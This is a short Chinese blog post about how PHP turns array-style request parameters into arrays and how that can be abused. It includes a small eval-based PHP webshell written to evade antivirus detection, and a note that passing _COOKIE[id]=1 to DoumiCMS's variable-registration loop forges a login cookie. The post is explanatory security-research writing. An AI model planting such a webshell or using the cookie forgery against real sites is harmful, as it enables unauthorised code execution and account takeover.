php变量数组传参的一些利用


PHP全局变量传参

大家都知道PHP的全局变量有:$_GET,$_POST,_COOKIE等,当我们向这些变量传参时,在代码中的任何地方都可以获取到其传入的值。例如:

<?php
$a = $_GET["a"];
print_r($a);
}

其运行结果:

2021-10-14-16-41-29

但是当我们传入一个数组呢,结果会怎样,比如传入a[0]=123:

2021-10-14-16-43-03

php会将其解析为一个数组对象返回。

数组的key为[]中传入的值,value为=号后面的值。

一些利用场景

  1. 某些情况下后端会判断用户传入的参数是否为某个值,而忽略了数组对象,可能会导致一些安全问题。

  2. 可以利用此特征来写免杀马,例如:

    <?php
     $a = $_GET["a"];
     foreach ($a as $key=>$v){
         if ($key==0){
             eval($v);
         }
     }
  3. 可能导致的变量覆盖问题。
    例如,在DoumiCMS中全局变量注册是这么写的:

    foreach (Array('_GET','_POST','_COOKIE') as $_request){
    foreach ($$_request as $_k => $_v) {
        ${$_k} = $_v;
        }
    }

    这种情况下当用户传入_COOKIE[id]=1等参数时就可以伪造cookie进行登录。

  4. 其它场景等遇到或想起来了在进行补充。


文章作者: darkless
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 darkless !
评论
   目录